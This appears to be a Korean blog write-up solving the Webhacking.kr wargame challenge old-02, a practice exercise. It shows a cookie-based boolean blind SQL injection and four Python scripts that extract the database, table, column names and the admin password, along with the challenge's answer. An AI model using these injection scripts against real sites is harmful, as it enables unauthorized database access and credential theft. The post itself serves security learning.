-
<Webhacking.kr> old-02Wargame/Webhacking.kr 2021. 11. 8. 17:29
제한 구역이라 한다. 그리고 내 IP가 로깅 중이라 한다.(로깅이란 로그를 기록하는 행위)
아무런 내용이 없기에 페이지 소스 코드를 먼저 살펴본다.
날짜와 시간은 로그인한 시점을 뜻하는 것 같다.
그리고 뒤의 경고문을 살펴보면 admin.php에 접근하면 될 것 같다.
비밀번호를 입력하는 창이 나온다.
주소 창에 javascript:alert(document.cookie)를 통해 쿠키 값을 살펴본다.
쿠키 값에 time이 있는 것을 확인할 수 있다.
time의 값을 변경해 본다.(크롬의 확장 프로그램인 'EditThisCookie'를 사용하면 편하다)
주석에 적힌 날짜와 시간이 변했다.
이번엔 time의 값을 2로 바꿔 봤다.
주석에 적힌 초가 2로 바뀌었다.
즉 참인 뜻을 가지는 자연수를 입력하면 시간 부분이 바뀌는 것을 확인할 수 있다.(60 이상의 수는 자동으로 분과 초로 변환해준다.)
거짓을 뜻하는 0을 입력해 보았다.
거짓일 때의 주석이 보이지 않아 시간 확인이 불가능하다.
거짓일 때의 주석을 SQL Injection을 통해 찾을 수 있다.
time의 쿠키 값으로 '아무 숫자 and 1=0'을 입력하면 1=0 부분 때문에 거짓이 된다.
time의 쿠키 값이 false일 경우, 주석의 시간의 초 부분이 0이 되었다.
즉, time의 쿠키 값이 true일 경우, '2070-01-01 09:00:00'으로부터 time의 쿠키 값만큼 지난 시간을 출력하고,
time의 쿠키 값이 false일 경우, '2070-01-01 09:00:00'을 고정적으로 출력한다.
이처럼 SQL문에 대해 참과 거짓의 결과만 있을 경우 Blind SQL Injection을 수행할 수 있다.
먼저 테이블의 이름을 알아야 한다.
select count(table_name) from information_schema.tables where table_schema=database()를 통해 현재 위치한 데이터베이스의 테이블 수를 알아낼 수 있다.
초 부분이 2가 된 것으로 보아 테이블의 개수는 2개인 것을 알 수 있다.
이제 테이블의 이름을 찾아야 한다.
select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1을 통해 첫 번째 테이블 이름의 길이를 구할 수 있다.
첫 번째 테이블의 이름은 13자리 인 것을 알 수 있다.
이제 테이블 명의 단어를 한 글자씩 찾아낸다.
select ascii(substring(table_name, 시작 위치, 1)) from information_schema.tables where table_schema=database() limit 0, 1을 통해 찾아낼 수 있다.
97 즉, 테이블 명의 첫 글자는 'a'인 것을 알 수 있다.
이렇게 직접 한 글자씩 찾을 수 있지만 편리하게 파이썬 코드로 구현한다.
제법 시간이 오래 걸린다.
1. DB 명 출력
import requests url = "https://webhacking.kr/challenge/web-02/" end = False db = "" table = "" columns = "" pw = "" for i in range(1, 100): if end == True: break for k in range(33, 129): cookies = {"Cookie" : "PHPSESSID=자기 세션 값; time=0 || if(ord(substr((select database()),{},1))={},1,0)".format(i,k)} r = requests.get(url, cookies=cookies) if r.text.find("09:00:01") != -1: db += chr(k) break if k == 127: end = True print("Database : {}".format(db)) # Database : chall2
2. 테이블 명 출력
import requests url = "https://webhacking.kr/challenge/web-02/" end = False db = "" table = "" columns = "" pw = "" for i in range(1, 100): if end == True: break for k in range(33, 128): cookies = {"Cookie" : "PHPSESSID=자기 세션 값; time=0 || if(ord(substr((SELECT group_concat(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='chall2'),{},1))={},1,0)".format(i,k)} r = requests.get(url, cookies=cookies) if r.text.find("09:00:01") != -1: table += chr(k) break if k == 127: end = True print("Table : {}".format(table)) # Table : admin_area_pw,log
3. 컬럼 명 출력
import requests url = "https://webhacking.kr/challenge/web-02/" end = False db = "" table = "" columns = "" pw = "" for i in range(1, 100): if end == True: break for k in range(33, 128): cookies = {"Cookie" : "PHPSESSID=kkp7qg686mbl6056qng6kq8nj8; time=0 || if(ord(substr((SELECT group_concat(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_area_pw'),{},1))={},1,0)".format(i,k)} r = requests.get(url, cookies=cookies) if r.text.find("09:00:01") != -1: columns += chr(k) break if k == 127: end = True print("Column : {}".format(columns)) # Column : pw
4. 비밀번호 출력
import requests url = "https://webhacking.kr/challenge/web-02/" end = False db = "" table = "" columns = "" pw = "" for i in range(1, 100): if end == True: break for k in range(33, 128): cookies = {"Cookie" : "PHPSESSID=kkp7qg686mbl6056qng6kq8nj8; time=0 || if(ord(substr((select pw from admin_area_pw),{},1))={},1,0)".format(i,k)} r = requests.get(url, cookies=cookies) if r.text.find("09:00:01") != -1: pw += chr(k) break if k == 127: end = True print("Password : {}".format(pw)) # kudos_to_beistlab
이제 추출한 비밀번호를 admin.php 에 있는 비밀번호 창에 입력하면 문제를 해결할 수 있다.
'Wargame > Webhacking.kr' 카테고리의 다른 글
<Webhacking.kr> old-07 (0) 2021.11.15 <Webhacking.kr> old-05 (0) 2021.11.14 <Webhacking.kr> old-06 (0) 2021.11.11 <Webhacking.kr> old-03 (0) 2021.11.09 <Webhacking.kr> old-01 (0) 2021.11.04